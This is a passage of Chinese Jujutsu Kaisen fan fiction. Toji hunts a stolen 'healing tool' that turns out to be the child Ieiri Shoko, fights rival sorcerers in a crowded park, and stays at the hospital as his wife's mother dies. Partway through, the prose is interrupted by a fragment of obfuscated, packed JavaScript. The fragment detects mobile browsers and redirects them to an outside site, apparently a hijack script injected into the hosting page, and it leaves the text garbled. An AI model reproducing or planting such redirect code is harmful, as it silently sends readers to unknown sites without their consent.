甚尔走过去,蹲下来,花了半个小时把之前没干完的事做完,小沙发内里被掏空放了一些他不太常用的咒具。
有时候他也想要是有个储物道具就好了,但是这种东西属于只听过没见过。
干完这件事把客厅恢复原状后,他才开始仔细看孔时雨给他的东西
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【x月x日,特殊咒具于东京xx区闹市被人偷走,不知去向。】
甚尔在这句话下面画了条横线。
这是地点。
文件上没有写明是有治愈能力的咒具。
【招募擅长寻人寻物的咒术师.......xx日晚xx点在xxx集结。】
甚尔考虑了一下,地点不远,他可以在一天里很快往返。如果说咒具后面出了关东范围了,那他就放弃委托。
甚尔打定主意后就睡觉去了。
第二天白天,甚尔依然是照常的生活。
他醒来先做好早饭赶去医院。病房里,他们两个人的结婚证就在床头柜上。时枝母亲的心情很复杂,但还是欣慰居多。
时枝在另外一张床上继续敲着笔记本电脑,抬头看见甚尔,疑惑地问:“你怎么匆匆忙忙的?”
甚尔有点心虚,“今天起的有点晚。”
时枝了然地看着他,因为他们结婚的事太高兴了吧,“没事的,白天本来你也没闲着。”
两个穷鬼在一起倒是不用思考太多,婚礼也不可能大办。闪婚的决定是很冒险,可是时枝绝对不会后悔。
她吃完饭去上班前用力抱了一下他,“我要走了!”
紧绷的肌肉和刹那放松的神经,让时枝更好的打起精神。
时枝也抱了一下母亲,坚定地说:“我晚上回来!”
时枝妈妈摸了摸她的头。
妈妈熟悉的气息,也让时枝感到一周以来的压力通通消失。
时枝精神百倍地去上班了。
她给办公室里的每个人都发了喜糖,告诉他们自己婚讯。同事们都说了祝福的话,真不真心时枝不知道,因为就算是田中也面色铁青地挤出来了一句“恭喜”,但是这样就已经足够了。
鸟羽有些神秘地问她,“现在该称呼你什么?要不要改名牌和名片,我现在就帮你改。”
时枝故作恍然的“哦”了一声,“我不用改这些,我丈夫现在跟我姓佐藤。”
白天是时枝的主战场,晚上是甚尔的。
甚尔晚上做好便当送给妻子和母亲、去超市抢购打折食物、回家做了一些家务之后,便前往了委托单主要求集合的地点。
集合地点是一座别墅,尽管四周并不是人烟稀少,但这里却凭借占地面积圈出了一片寂静之地,在森冷的月光照耀下,金属的大门与白色的石砖道路也寒意凛然。
甚尔看到这里已经有十几个人。不愧是咒术师,看起来没一个好东西。
甚尔像只孤狼站在人群的外围。
甚尔在看他们,他们也在看甚尔。
终于有人认出来他是谁。
“术师杀手怎么会在这,难道这里有他的目标?”
“总之离他远一点。”
甚尔当作没听见,反正他遮着脸。
不多时,又有一个戴着帽子的年轻人走进来,面上带笑眯眯眼,甚尔觉得这人长相有点眼熟,却说不出来哪里见过。
年轻人与他对视的时候点了点头,礼貌地摘下帽子,露出了额头上的一道缝线,微笑着说:“你好。”
9. 相遇第九天
甚尔没说话,离这人远了一些。
对方搭讪失败也没说什么,怡然自得的站在那里,似乎对这一次委托胸有成竹。
甚尔隐约有自己正在被盯着的感觉。
很快到了约定的时间。
一位穿着西装的管家出现,领着他们穿过别墅的走廊,来到了一片花园,这座别墅的位置比他们想象得大得多。
花园空地站着一个老派穿着的中年男人,听见有人来转过身。
阴翳的眼神扫过他们,似乎在评估这群人有没有资格和他说话。
“任务目标你们已经清楚了,找到特殊咒具和小偷,东西要拿回来人也也必须是活的,否则一切作废。”
甚尔感受到了一种熟悉的不快。
其他野生咒术师也有躁动,出来单干的野生咒术师根本不屑听这套,接委托也只是暂时的合作关系,对方可是有求于他们,态度太傲慢了,更何况咒术师大部分都脾气古怪。
管家走过来给他们每人发了一张卡,卡面上数字的纹路是那么的烫手。
“预付定金在里面。”
未成型的躁动立马被金钱驱散了。
甚尔摸着银行卡,感觉周围人隐隐蠢蠢欲动的氛围,觉得这次这个任务处处透露着古怪。就算是财大气粗的委托人,他也只见过允许报销而不是直接给钱的,野生咒术师可不是信誉良好的合作伙伴。
接下来那个人又说了一些其他的线索,这次的态度更加随意。
让管家丢给他们一块残缺不全的布料,说是和偷东西的小偷有关。
甚尔仔细观察后就把碎布给了其他人,他只能从浅亮的颜色看出来是年轻女人的衣料,材质是化纤尼龙,那个小偷大概率是普通人或者是野生咒术师。
他单独去找了管家,只问了一个问题:
“卡里有多少钱?”
管家用一种迥异的眼神看着他,说:“十万。”
甚尔点点头,他现在的身份不一样,要养家,十万说多不多说少不少,也是目前时枝大半个月的薪资。
他把卡仔细地塞进了衣服里,打算过会儿去找ATM机把钱转走。
管家:......
甚尔不在意其他人的眼神。
别看其他野生咒术师把银行卡不当事,大部分有能力的早在正常人世界里找个养家糊口的工作了,当咒术师又危险又没保障。
交代完任务详情,管家负责引路,将他们送离了这座别墅。
在他们踏出这里,大门关闭的一瞬间,委托正式开始。
武器和咒力在黑暗中乱飞。
没防备的咒术师倒下了,空气中传来一串也分不清是谁说的脏话或者是咒语,咒力和咒具的冷光在黑夜中游荡。
甚尔抬手,正中一个试图从背后偷袭他的咒师的鼻梁,随手摸走对方身上的银行卡和咒具。
对于其他人来说昏暗的环境,于他而言够不成什么妨碍,如果他想,他倒是可以把这里绝大多人就地解决。
他的视力与听力让他在黑夜中像是只枭鸟,很轻,反应很快,和他的身形相反,跃过倒地的尸体,收敛了羽翼,远离了战场。
“啪”的一声,大门口的灯盏被打碎了。
别墅里传来了一声不满的咳嗽。
咒术师才安静下来,警惕地面面相觑。
——单主不满了。
没有对他们自相残杀不满,而是对他们打碎门口的路灯不满。但或许也是给他们的警告。
还站的咒术师搜刮了地面上的人身上的东西,各自散开。
甚尔盯着别墅。
这种尊贵又矫揉做作的做派他再熟悉不过。看来这次还真是一语成谶,莫名其妙接到了咒术界哪个老世家的委托。
甚尔不想旁生枝节,接到这些老东西的委托就接到了吧,他只有对金钱的渴望。
他随意选了个方向离开,走了一会儿却脚步一顿。
甚尔回头看,是那个试图和他搭讪的年轻人。
年轻人抬起双手,亮出了手中的罗盘,“我只是想和你结伴,我们一起去找肯定更快,我的术式方便找人。”
甚尔不知道这个贸然求合作的年轻人,是对自己太有自信不怕他杀了他,还是说真的没有经验。
“刚才你没见到他们干了什么?”甚尔反问他。
对方摸了摸那颗有缝线的头,看起来有些憨厚的笑了笑,“就是看到了所以才要找盟友,你是天与咒缚,我们互补。”
“天与咒缚”这个词一出来,甚尔就知道对方是有备而来。这个词指的是天生与“天”立下契约,失去一些东西又得到了一些异于常人能力的人。
甚尔异于常人的身体素质,就是因为这个。
“我叫由纪夫,”年轻人热情地介绍了自己的名字没有介绍姓,“怎么称呼你?”
“随意。”甚尔敷衍地回答。
“好吧,叫你杀手吧。”由纪夫也不自讨没趣,乖巧地摆弄起罗盘,不知道他怎么操纵的,它滴溜溜地转了起来,指针指向了一个方向。
甚尔看着这场景皱眉,“那边?”
那里和单主提供的咒具失踪的方向高度吻合。
“就是那边,”由纪夫赞叹小偷的勇气,“难道偷了咒具以后没选择尽快离开,而是选择留在了原地吗?”
甚尔对他的感叹不感兴趣,直接向那个方向走。
“等等我!”
由纪夫连忙追上他。
他们两个人的身影消失后,在他们站过的地方,又有人出现。
包着花头巾的男人看着他们的离开的方向:“快点跟上。”
似乎是侏儒的矮个子气喘吁吁跑过来,“来了,别催。”
他的声音像是没有变声的孩子,分不出男女。
花头巾催促,“待会儿看不见他们了,跟着他们最有希望,别让他们把东西抢走了。”
“呵呵呵,”矮个子古怪的笑了笑,“他们也就这点用了,反正我们一定是笑到最后的。”
他从口袋里拿出来个活灵活现的人偶晃了晃,“让我好好琢磨下待会儿送给他们什么见面礼,嘿嘿嘿。”
闹市区。
现代文明高度发达的城市街道,越夜越热闹,这里路过的人并不少。
甚尔和由纪夫二人出现在这里,有种淡淡的违和感,可是又被淹没在了人流中。
“应该就在这附近。”由纪夫说,罗盘上面的指针乱飘,没办法再更加精准的定位,“有点意思,东西果然和人一样,不用就会老旧。”
甚尔嗤笑了一声,显然由纪夫的罗盘被某种咒术干扰了。
他低头手在脸上揉搓。
他已经多日没有这样颠倒昼夜的作息了,但是脑子里却飞快的转过这种地方有什么可以躲藏的地点。人来人往的街道都不是藏东西的好地方,不仅容易暴露自己,东西还容易被人摸走。
小偷选择的地点是有些古怪,但是甚尔不会去深究这种古怪的原因,他一头扎进这贴繁华街道的阴暗角落。
由纪夫像只好奇的猎狗跟着他,用手扇走脸旁的臭气,越是繁华的街道就越没办法避免巷道里臭气熏天。
甚尔不消多时就发现了端倪。
“有一个体型比较小的人在这里躺过,刚走不久。”甚尔比划了一下空出来的位置。
由纪夫有些遗憾,“如果我们之前来的快一点,说不定就能在那个巷道里堵到她了。”
甚尔对于这样的空想的假设嗤之以鼻,他精准的从地面上捏起来的一根头发,不算长,但是也不算短,“女人的头发。”
不出意料的话应该就是对方留下来的。
由纪夫欣喜地说,“头发可比布料好用多了。”
甚尔把头发给他,自己根据地面上的痕迹,一路走到了巷道另一端连通的街道的路灯下。
他的鼻头微皱。
甚尔认为这个人八成就是那个拿走了贵族老爷的治疗咒具的人。
他的目光在周围看了一圈,越是临近午夜,有些地方就越活跃,根据那个小偷的习惯,最近的灯火通明的地方是——
甚尔看了一眼路口的路标:久保公园。
由纪夫也惊呼,“动了!在那边!”
他手里的罗盘重新转动,同样指向了那里。
他们两个人沿着路踏进公园。
公园里的人非常多,比起不法分子的游乐园黑市,这里更像是普通人的灰色地带。或明亮或阴暗的区域里,站着神色各异互相打量的男男女女。
几乎是他们两个踏进这片地界的第一时间,就有人在他们的身体上扫来扫去。
甚尔的目标是人最多灯最亮的地方,也是公园的中心地带。
一个打扮精致女生和身边的同伴说了什么,然后径直向他们走过来,夹着嗓音问:“你们好,要参加我们晚上的party吗?加上你们一共二十二个人。”
由纪夫瞠目结舌,这么奔放的女子着实罕见。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735371|174072||http|test|mini|href|location''.split(''|''),0,{}));
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>“不用,我有约了。”甚尔冷淡地绕开她。
女生看向了由纪夫,有点羞涩地说:“可以不戴——”
“抱歉!我也有约了。”
由纪夫彬彬有礼地拒绝了她。
狂蜂浪蝶的叨扰让他们在公园寻人的事变得可笑起来。
由纪夫一边追着甚尔,一边抱怨,“人类果然就是这样,一天到晚只想着这些乱七八糟的事。”
甚尔心里想:那让这些人想什么。
本来就是其他的事做不了,所以才会格外沉迷这些东西。
但很多咒术师都认为普通人和他们不是同一个物种了,由纪夫这种论调实在正常不过。
“如果能改变人类,让他们有能力去做其他的事,应该就能改变这个世界了吧。”
由纪夫纯然感叹道。
甚尔古怪的看了他一眼,“看不出来你还是个博爱的人。”
由纪夫笑了笑,他的笑却并没有话语的那样单纯,突然间他脸色一变,身体向旁边一躲,一个黑梭梭的东西掷地有声。
甚尔豁然转头,看见了天空中有无数对黢黑发红的眼睛盯着他们。
一声哨响,那些生物在破空声中显形,正是一只只鸟类,麻雀居多,它们忘记了怕人本能,不顾一切往甚尔和由纪夫身上冲。
甚尔眉宇间有点淡淡的戾气,从背后拔出了武器。
由纪夫正打算做点什么,却看到了他手臂的残影。
一只只鸟类从天空中坠下,甚尔没有挪动,那些直冲他们而来,尖喙与利爪对着他们眼睛小生灵们就已经全部掉在了土地上。
“......快,你去找......”
甚尔的耳朵动了动。
“啊啊啊啊啊啊!!”
“这是什么?!!”
“鸟发疯了!!”
“啊啊啊啊啊啊救命!”
“哈哈哈哈哈哈哈!!”
比起天与暴君和咒术师,普通人在这场古怪的袭击中只能四处逃窜。
人群密集的公园霎时间尖叫声此起彼伏,由纪夫绕过了脚底下的血肉,皱着眉,“这下人没找到要先被警察发现了。”
甚尔的身体久久没动,突然间把手里的武器投掷了出去。
一个落在人群后方的光头男人直接被砸中,一张方形的花布巾从他的手里掉落在了地面上。
倒在地面上的人,很快就被惊慌的人群忽略踩过。
随着他的倒下那些自杀式袭击的鸟类一哄而散,同族的尸体终于让他们清醒过来,各种叽叽喳喳的声音甚至比人声还要刺耳。
由纪夫在他身后说:“操控鸟类的术式吗?确实是找东西的好手,可惜......”
可惜只能制造麻烦但是没杀伤力。
甚尔懒得理他这种上位者对着下位者的青睐神情。走过去拾起来自己的武器,对着由纪夫说:“给它注咒力。”
咒具的形成相当简单,就是咒术师用自己的咒力对普通的物品侵蚀而成的。
甚尔厌烦,这人害得他的咒具多了无意义的损耗,他本来就对找东西没太多兴趣,只想完成任务了事。
由纪夫假笑着接过,在这段修复咒具的时间里,公园发生了还发生了爆炸,不知道是哪里出现了问题,火光冲天。
由纪夫再次拿起罗盘,上面的的方向再次紊乱,“看来那个人还没被抓到。”
甚尔接过武器,掰了掰手指,“她藏在了人群里。”
风中有很多气味,平常人们只是有个模糊的认知,对于这些无形无色的信息一概笼统的归类为气味。
甚尔在风中闻到了女人的劣质香水味,一些草地的清香,一些排泄物或者汗液的酸臭,还有某些轻工业制品的味道,化学违禁品的味道,以及夹杂在其中的,旧墙灰和汗水,紧张与激动的各种气味混合起来直冲脑门的味道。
就像是风里给他栓了一根迷宫中的引线,让他永不迷路。
如今人类世界的最强躯体,就是这样。
由纪夫在甚尔身后,双眼放光。
他能凭借五感的敏锐,感知到他本该因为0咒力永远无法感知到的咒灵,只要在他面前走过,他也能凭借那种微妙的熟悉感,锁定对方。
甚尔低头,轻呼一口气,问:“现在是几点?”
由纪夫愣了一下,找身上的表,“凌晨一点了。”
甚尔甩了甩手臂。
——这群光棍杂碎,他要赶时间回家给老婆做饭。
10. 相遇第十天
公园里的爆响和尖叫声贯彻云霄。
“去死吧哈哈哈哈哈!!咒具是我的!!!”
刚刚说完这句话的咒术师就被一道火光击落,从天上掉下来。
来接这个任务的人,何尝不知道治疗咒具的珍贵。
咒术师的攻击手段有多么多,那他们的治疗条件就有多简陋落后,甚至普通人医学已经是普通咒术师最有效的治疗手段,就这样还是没办法抵消诅咒对人体的伤害。
至于雇主?不好意思。
任务目标太过诱人。
——如果仅有一次使用机会,那也是一条命!
甚尔在连绵不绝的攻击中如履平地。
经过他们前面清场,如今公园的中心除了一些摆摊物品残骸,能跑的活人已经通通逃离,还有一些躺在地面上不知生死。
爆燃的火星点燃了树木,甚尔挪动步伐躲开,一把揪出来了草丛里的咒术师,“咒具在哪?”
“我问你,咒具在哪?”
“——别杀我别杀我别杀我!”咒术师短暂的失语之后涕泗横流,刚才的猖狂嚣张已经全然不见,“我不知道,我真不知道,就是有人抓到了那个小偷。”
甚尔把他打晕丢在一边,这种咒术师杀了有损他的形象。
他还以为这群人已经拿到咒具了。
甚尔其实不大能记住人脸,只是依稀记得一些人的特征,他很快就锁定了新的目标,追了上去,虽然还不知道咒具在哪里。
有个高个子的咒术师,手里拎着窃贼,正在逼问着什么。
甚尔活动着手掌,无声靠近。
“东西在哪?!别和我装。”
“......”
“不说没关系,我——”
“是这个吗?哈哈哈哈哈哈哈哈!!”
“你逃吧,我放你跑一分钟,只要你跑得快,我就不杀你。”
“......跑得还挺快,那你不用一分钟就能去死了。”
“啪叽。”
横贯太阳穴的铁棍沾着红白两色的浆糊,甚尔捅穿他的脑袋,就像他决定自己不守诺一样的简单。
甚尔甚至有闲心用另外一只手掏了掏耳朵,顺便准备接下从他手里掉落的咒具。
不好意思,他只是听到“去死”两个字下意识这么做了。
真是抱歉。
就在此时,甚尔突然感觉自己的手掌手臂一阵刺痛,一个乌漆麻黑的影子一闪而过,直接把咒具抢走了。
变故发生得异常快。
侏儒咒术师心中狂喜,抱着那只咒具夺命而逃。
他的同伴花头巾去哪里了他并不知道,那不妨碍他因为拿到咒具狂喜。
侏儒咒术师原本不是咒术师,他的奶奶是老家有名的神婆,不是在神社里供奉神明的巫女,而是信仰野神的信徒,大多数都是当地的迷信,传言中也有一些诅咒人的方式。
生活在这种家庭里的他,从小就知道神神鬼鬼的知识,但他却不知道,自己看到的风景和装神弄鬼的家人不一样。
直到有一天,他听到了丑时之女的传说。
只要用稻草人作祟七天,就能让被诅咒者去死……从那以后,他打开了新的大门。
侏儒咒术师的脸在奔跑中扭曲,他是绝对跑不过术师杀手的。
明明他的咒术作用的时间没有这么短,那个术师杀手到底是什么怪物!
他们之间的距离越来越近。
他的术式杀伤力有限,必须持续七天作祟诅咒一个人才能让对方死,只要一天的累积伤害不够,都会拖延目标的死亡时间,如果其中某一天诅咒中断没有对诅咒者产生伤害,整个术式都要重来。
这是一个累积的过程,但是他已经把自己术式开发到了极点。以此寻找标记某人、打断对手的行动、甚至有人在做危险动作的时候他悄悄动一下人偶,都让自己本来孱弱的攻击手段发挥出惊人效果。
可是术师杀手居然不到五秒就挣脱了他术式的影响。
侏儒咒术师下了狠心,吐了一口血在人偶上,强行扭断了人偶的双腿。
甚尔感觉到腿上强行传来一阵剧痛,似乎有一双看不见的手要把他的腿掰断,他看到自己膝盖渗血。
......有点意思了。
他确定这就是前面那个侏儒咒术师的术式。
禅院家的家传术式,都和影子、留影有关。甚尔虽然也见过不少咒术师,但是术式大部分集中在这个范围内。
他听说过侏儒的这种术式,比如画个圈圈诅咒人,扎个小人诅咒人。但没真的见过。
主要是,他还没杀过。
他为什么会有术师杀手这个称号,不仅因为他的体质特殊,没有咒力容易让那些习惯用咒力判断活物的咒术师们措手不及。还是因为,他喜欢杀咒术师啊——
他太喜欢自诩高贵的咒术师,被他这个人下人,他们眼中进化不完全的猴子杀死的模样了。
甚尔的速度慢了一点,但却不是侏儒想要的慢。
他头皮发麻,感受到了令人毛骨悚然的杀意。
一个带着血腥气的东西直接擦过他的身体钉在了前面。
侏儒咒术师只看了一眼就再也难忘。
高个咒术师的头穿在那个半长的武器上,盯着路过的他,死不瞑目。
他疯叫一声:“我不要了!!”
咒具蓦然被抛了出去。
是他不该在术师杀手面前抢走珍贵的治疗道具,他不应该的,不应该的!!
咒具被他抛得极远,一瞬间的抛物线就像是给他拉长了生命的长度。
甚尔看着天空,用理智思考了一下是去杀了那个咒术师,还是把东西拿到手。
他还是有点理智的。
三秒他的脑子得出了答案,先去捡东西,然后再去杀了那个咒术师。
甚尔优哉游哉,身上淅淅沥沥地流下血液,有些是他的,有些是别人的。
他差不多半个月没活动过了,现在感觉身体微微发热,正好松开筋骨。
其他咒术师早就作鸟兽散。
甚尔甚至还感叹了一下那侏儒的臂力不错,居然扔到了那个高个咒术师的无头尸体哪里。
而那个咒具也如同雇主所说,是个扁扁的,像碗那么大的钉子。
由纪夫去哪了甚尔并不清楚,原本他们也只是临时的搭档。
甚尔捡起了那个咒具看了看,表情有些为难。
咒具也是有使用方法的,其他人可以用咒力摸索出来,他只能自己误打误撞。
但是不管怎么样,拿到了就好。
甚尔心情还不错,看到从高个咒术师的尸体上又爬出了什么东西。
没有确凿的形体,对于甚尔来说是个完全透明的生物在空气中扭动,但是又确实存在。
“咒灵?”
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甚尔疑惑。
他知道咒术师死后可能会变成咒灵,但那是没有被咒力杀死才会,他的咒具里也有咒力。
而且这只咒灵太弱了。
如果不是咒术师死后变成的咒灵,那就是这个咒术师养的咒灵?
甚尔把咒灵提了起来,它是长条形态,有点像大号的毛毛虫。
咒灵的身体悬空以后,不适地扭动着,但没有任何攻击的举动,相当的温顺。
它有大约五十厘米长,刚好可以盘在手臂上。
[papa......]
咒灵模糊地发音。
甚尔心想,难道咒灵还会认为人类是它的父母吗?
咒灵“呕”了一声,稀里哗啦吐出来了一把刀一根三棱刺一包卫生纸。
甚尔:......
他立马又抖了抖,咒灵又吐出来一些新鲜东西,有日用品也有咒具。
——这是个移动仓库啊!!
甚尔狂喜,把它夹进腋下,逼它把那些东西又吃了回去,这些现在都是他的战利品。
长条咒灵喂到嘴边的东西都吃进去了,被甚尔夹在手臂上的时候也乖巧盘好。
甚尔觉得今天喜事连连,抬腿向那个侏儒咒术师逃跑的方向走去。
接下来就是他们两个人的游戏了。
他兴致冲冲地找了一阵。
那个咒术师似乎又和别人发生了冲突,他闻到了血腥气,对方身上的气味混杂。
他花了一段时间,像猫抓耗子一样,不远不近的缀在对方的后面,看侏儒的斗篷衣角惊慌的翻飞。
直到附近的人已经不多了,他突然暴起,直接把他提溜了起来。
斗篷滑落,露出来了一整稚嫩的脸。
甚尔一愣。
“怎么是你。”
女孩惊慌失措地看着他,她看起来也就10岁左右,身形没有长开,身高也就大约120。
是完完全全的小孩子,更重要的是,她有一头黏腻的,属于咒具窃贼气味的头发。
甚尔的手臂还有未干的血滴落。
被他抓住的女孩抿起了嘴,倔强地盯着他,但是眼神中又有一些无所谓,仿佛她所作所为只是在尽人事,如今已经听了天命。
甚尔把她放了下来。
虽然不知道具体发生了什么,但明显是咒术师的衣服被她扒了穿走了。
“你走吧。”
甚尔随手抹掉了手上的血,用力掐住膝盖,用手把裂开的肉合拢。
女孩站在原地,良久没动。
“你......”
她像是很久没喝水也很久没说话了,她看着甚尔的伤口,声音很嘶哑,顿了顿才说出来一句完整的话,“我可以帮你。”
甚尔有些不耐烦,“你能帮我什么。”
这么屁大点的孩子,虽然把那些老不死的东西偷走确实很有能耐,但是真帮不上什么大忙。
小孩还是操心一点小孩该做的事,比如赶快离开,不在这里添乱。
女孩伸手遮住了他的伤口,一道柔和的咒力从她的手里流淌出来,甚尔的伤在一秒钟里消失得无影无踪。
他的伤口被治好了。
“......”
良久之后,甚尔骂了一句脏话,把怀里的“治疗道具”扔到地上。
“家入硝子,我是这个名字。”
小女孩说。
11. 相遇第十一天
家入硝子今年11岁。
她把甚尔扔掉的咒具捡起来,“这个……可以保护我不被发现。”
甚尔默然无语,越看这个圆钉越像个施放结界帐的咒具。
原本他们是来抢咒具的,结果发现居然是个人。
太荒谬了。
甚尔本来就对世家咒术师没什么好感,现在刻板印象更深,前面的那些古怪之处也有了解释。恐怕雇主就没准备让他们活着。
“我们必须马上走。”
不管这其中有多少弯弯绕绕,如果他们不赶快离开这里,肯定会被抓住。
硝子欲言又止地看着他,甚尔皱着眉和她对视。
……
孔时雨又被一通深夜来电惊醒。
【我需要消除随身物品和本人联系的咒具。】
电话那边的甚尔这么说的。
“发生了什么。”
孔时雨安抚被吵醒的妻子,蹑手蹑脚下床出了卧室。
【……呵,】甚尔冷笑了一声,【这次是你给我找的麻烦。】
甚尔一般是不接这种找东西的委托,这次确实是孔时雨说服他去的。
孔时雨一个激灵,所有睡意都飞走了,“你真拿到了?”
【差不多。】
孔时雨没听懂,咒具有什么差不多的,拿到了就是拿到了,没拿到就是没有。
等到他见到了一大一小两个人,他先是被甚尔身上的丑咒灵吓了一跳,反应过来后没忍住爆了粗口,终于明白了。
“[哔——]”
“他们把人当成咒具来悬赏??”
孔时雨立即用咒具帮甚尔和硝子消除了他们随身物品和本人的神秘学联系,包括他们的头发等生物组织。
孔时雨压根没想过“治疗咒具”是位小咒术师。
多少成人咒术师都学不会反转术式,小孩连自己的术式都没开发全,哪里学得会治疗。
“……”硝子有些不安,踌躇地看着他们。
“她确实会,”甚尔说,“我的伤是被她治好的,是术式还是反转术式我分不清。”
“我应该没有术式。”家入硝子说。
她从来没有那些神奇的术式技能,只是从六岁以后就会使用咒力修复别人的身体。
不久之前,有打扮奇怪的大人把她带走。可能是认为她听不懂,在她面前说了一些话。
总结起来就是,他们家族要把她关起来,以后方便随时治疗,还要研究她为什么能做到治疗别人。
所以她逃跑了。
家入硝子看着他们,犹豫之后,语气像是个大人一样的平静,“你们把我交出去,能获得赏金的话也很好。”
“为什么,”孔时雨奇怪地看着她,“你千辛万苦才跑出来的。”
甚尔也奇怪,她之前的求生欲可没有这么差。
家入硝子低着头,终于忍不住说:
“……死了很多人。”
“都是因为我……”
她只是想要找不容易被找到的地方躲起来。
躲在人群中的这两天,她陡然发现,自己跑出来又能去哪里。如果报警,她会被送回原来住的地方,还会被再次带走。
而且因为她藏在人多的地方,甚至殃及了更多无辜的人。
硝子感觉自己的头顶传来了重重的力道。
甚尔收回了手,“这不是你的错。”
孔时雨赞赏了他难得的情商,他对硝子说:“归根结底是上面那群人不做人,今天就先在这个安全屋休息。”
甚尔和孔时雨走出房间,他们简单的交流了一下。
“虽然把她交出去是最简单的做法,但是说不定我们会被灭口。”甚尔说。
孔时雨也是这么想的,“闹出这么大的动静,应该会引起很多人的注意,我们可以拖一拖。”
拖到局面更加复杂,没准是对他们这些小虾米更好。他们都不确定未来会发生什么,但是很确定目前贸然行动谁都没有好果子。
“……我想带她去一趟医院。”甚尔突然说。
孔时雨为难。
“随你吧,只要别出岔子。”
几个小时过去,又到了清晨。
甚尔身边多了一个小跟屁虫,他和硝子说了自己想要带她去医院救一个人后,她立马就答应了。
硝子穿的是孔时雨带来的孩子的旧衣服,虽然不是新的,但是倒是更合群了一些。
两个人匆匆忙忙赶到了医院,医院今天看起来比往常更忙。
久保公园那边的伤员也被送到了这里,硝子小心地拉了拉甚尔的衣服,“那个,我可以去看看那些人吗?”
甚尔:“可以,但不能被人发现。”
硝子舒了一口气。
他们到了病房里,甚尔先进去了,硝子在门外。
时枝有点迷迷糊糊的,还没有完全醒来,看着走进来的甚尔,“你来了啊。”
时枝看了眼床上的母亲,她还没醒,最近母亲即使有镇痛泵,也很难睡着了,她不忍叫醒她。
“你去洗漱一下吧。”甚尔贴心地说。
时枝“嗯”了一声,拿着牙刷杯出去了。
甚尔送她离开,见她走远立马叫躲起来的家入硝子。
“快!”
甚尔听见秀子的心跳已经快没了,幸好他们来得及时。
家入硝子看了看走过的医生,没什么人注意她,她非开飞快的跑进病房,握住了佐藤秀子的手。
温暖的咒力流淌过佐藤秀子的全身。
甚尔听见秀子的心跳重新复苏,甚至变得更加有活力。咒术总是在他眼前发挥出他不能理解原理的效果。
硝子的脸色却变得惨白。
“我治不好……”她喃喃说。
甚尔还没来得及问她怎么回事,佐藤秀子就已经醒了过来。
佐藤秀子觉得身体出乎意料的好,动一动手就发现了床边的小女孩。
“你是?”
“我是隔壁病房的小孩!”
“她是我的远房表妹。”
硝子和甚尔对视一眼,完了,他们之前没想过这个问题。
秀子笑起来,“甚尔是在医院里偶遇了妹妹吗,真巧啊。”
硝子也是小小的一只,看起来生活也不太好的样子。
洗漱回来的时枝疑惑地看着这一幕,走进病房还没张嘴问,就看见了面色红润,似乎已经完全康复的母亲。
她惊讶地放下手中的东西,过去问:“妈妈,你……你有没有感觉那里不舒服?”
家入硝子赶忙让出床边的位置。
时枝直觉告诉她,母亲现在的
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状态不对,哪有癌症晚期的病人这么容光焕发?可是她又忍不住想,万一奇迹发生了呢。
秀子温和地说:“我很好。”
她看着面前的女儿女婿,突然说:“我要是走了......”
甚尔心里还记着刚才硝子的话,听见她说的,心里突得一下。
“你们就从被妈妈保护的人,要变成保护其他人的人了。”
秀子释然地说,“要加油啊。我刚刚做了一个很长的梦,梦到了我没有小枝的时候,也梦到了和小枝一起生活的时候。”
秀子反常的和他们聊了很久的天,期间有医生和护士进来看过,但看到秀子的模样都抿起嘴不说话。
硝子没忍住,跟着一位护士走出病房,问:“请问,癌症为什么那么难治?”
硝子不明白。
护士听到她的话,心中有点怜悯,“因为癌症是自身的细胞无限生长,占了正常的器官的位置让它们没办法工作了,它本身也是人的一部分不会被排斥。”
“......原来是这样吗?”硝子睁大眼睛,看着她。
“嗯,这是很简单的医学知识。”护士揉了揉她的头。
硝子攥紧了拳头,“我不知道这件事......”
“小葵,10号病房!”
护士答应了一声,“我要走了,你去找家人吧,不能乱跑哦,好好陪着她。”
硝子点点头,却自语道:“我以后一定要当医生。”
……
佐藤秀子安详地离世了。
她离世的那刻在想什么?没人知道,但是从表情上看,她并不痛苦。相比于其他遭受长久折磨的病人,她这样离开未必不是一件好事。
可是离世就是离世,从来不是一件令深爱她的亲人开心的事。
时枝掩面大哭,甚尔也情绪低落。
甚尔和佐藤秀子的短暂相处中,这位温柔不失刚强的女性,也给了他母亲一样的关怀。
他抱着时枝,轻轻拍她的后背。
他好像说什么都不太好,最后只能想起来,“你要是太过伤心,母亲也会担心的。”
时枝眼睛都肿了,“那是妈妈离世了,妈妈只有一个!”
这辈子只会经历一次的痛苦,她大哭又怎么了。
如果连尽情的悲伤都不被允许,那她和死了也就差不多了。
悲伤只有宣泄出去,才不会成为伤害自己的利刃。
时枝痛哭过后情绪稍缓。
关于硝子的身份,甚尔大概和时枝说了一下,只偶遇过来看秀子的表妹。
时枝看着这么一个打扮有些潦草的小女孩,有些恻隐之心也有些疑惑,“如果硝子是个中学生了我都不奇怪,她明明就是个小孩子,她的父母呢?”
甚尔连忙说:“就是她父母临时有事才让我带一段时间。”
硝子看甚尔左支右绌的给谎话打补丁,疑惑这种谎话真的能骗人?
虽然她也期待可以糊弄过去,可是......
“好吧。”时枝也没太多精力纠结这件事。
——居然真的糊弄过去了。
甚尔和硝子都松了一口气。
“那为什么我们结婚时,没听你说有这么一家亲戚?”时枝疑惑。
甚尔:!
硝子:!
12. 相遇第十二天
“呃嗯......”甚尔绞尽脑汁,“因为我和他们不是很熟,而且他们不住在东京。”
甚尔额头冒冷汗,他都能想到时枝会怎么说了——关系不熟为什么还要你带孩子?
时枝疲惫地点点头。
她没有力气计较这些事了,她有些歉意地摸了摸硝子的头,“抱歉,我没办法招待你。”
硝子摇摇头,“没事的。”
时枝拿起手机,“我现在出去打电话。”
她感觉在孩子面前说去联系殡仪馆不太好。
甚尔见她神色恍惚,握住她的手腕,“我来吧。”
他会把秀子的身后事办好。
时枝愣愣地看了他一阵,说:“好。”
甚尔担心时枝因为过度伤心会出茬子,出病房之前给给硝子一个眼神,让她陪着时枝。
房间里里只剩下了时枝和硝子两个人。
时枝其实什么都没想,大脑一片空白。
硝子知道她很伤心,可是她懵懵懂懂,并不知道怎么做才好。
......其实她也是第一次遇到自己治不好的人。
